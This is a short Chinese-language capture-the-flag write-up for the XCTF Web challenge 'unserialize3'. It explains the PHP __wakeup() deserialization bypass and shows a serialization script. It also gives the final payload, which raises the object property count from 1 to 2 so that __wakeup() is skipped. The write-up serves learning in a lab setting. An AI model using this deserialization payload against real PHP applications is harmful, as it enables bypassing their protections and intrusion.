攻防世界-Web-unserialize3

題目信息:


知識點:反序列化,__wakeup()函數漏洞

打開題目環境,得到php代碼


審計代碼,就是讓我們運用__wakeup()函數的漏洞拿flag的。這裏我估計payload的點是,序列化後的字符串繞過__wakeup()。
__wakeup()漏洞就是與整個屬性個數值有關。當序列化字符串表示對象屬性個數的值大於真實個數的屬性時就會跳過__wakeup的執行。
創建一個xctf類並對其進行序列化:

   <?php
   class xctf{
   public $flag = '111';
   public function __wakeup(){
   exit('bad requests');
   }
   }
   $a= new xctf();
   print(serialize($a));
   ?>

運行代碼得到結果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
大括號前面的1便是屬性變量的個數,只需對其進行更改便可以繞過__wakeup(),使exit函數不被執行,所以改爲2之後傳參
payload: ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

參考:__wakeup()函數漏洞以及實際漏洞分析
PHP在線工具
在線序列化

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章